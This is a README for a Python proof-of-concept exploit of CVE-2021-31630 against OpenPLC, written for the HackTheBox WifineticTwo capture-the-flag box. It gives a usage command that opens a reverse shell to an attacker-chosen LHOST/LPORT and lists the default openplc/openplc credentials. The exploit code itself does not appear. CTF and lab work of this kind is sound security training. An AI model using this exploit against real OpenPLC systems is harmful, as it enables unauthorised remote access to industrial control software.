
A simple python script to exploit CVE-2021-31630 on HTB WifineticTwo CTF
This Python script is a Proof of Concept (PoC) exploit for CVE-2021-31630, targeting a vulnerability in OpenPLC running on the WifineticTwo box at HackTheBox. It is designed for educational purposes only, aiming to demonstrate the exploitation process in a controlled environment.
This tool is intended for security research and educational purposes only. Use of this tool for attacking targets without prior mutual consent is illegal. The developer will not be held responsible for any damages or criminal charges against users misusing this exploit.
Before running this exploit, ensure you have:
requests library installed. You can install it using pip install requests.To use this exploit, you must specify the target's URL, the local host IP (LHOST), and the local port (LPORT) to which the reverse shell should connect back. Optionally, you can specify the username and password for OpenPLC if they differ from the default.
./exploit.py --target http://wifinetictwo.htb:8080 --lhost [LHOST] --lport [LPORT] [--usr [USERNAME] --pwd [PASSWORD]]
--target - Target base address. Example: http://wifinetictwo.htb:8080--lhost - Local host IP address for the reverse shell to connect back to.--lport - Local port for the reverse shell to connect back to.--usr - (Optional) Username for OpenPLC. Default is openplc.--pwd - (Optional) Password for OpenPLC. Default is openplc.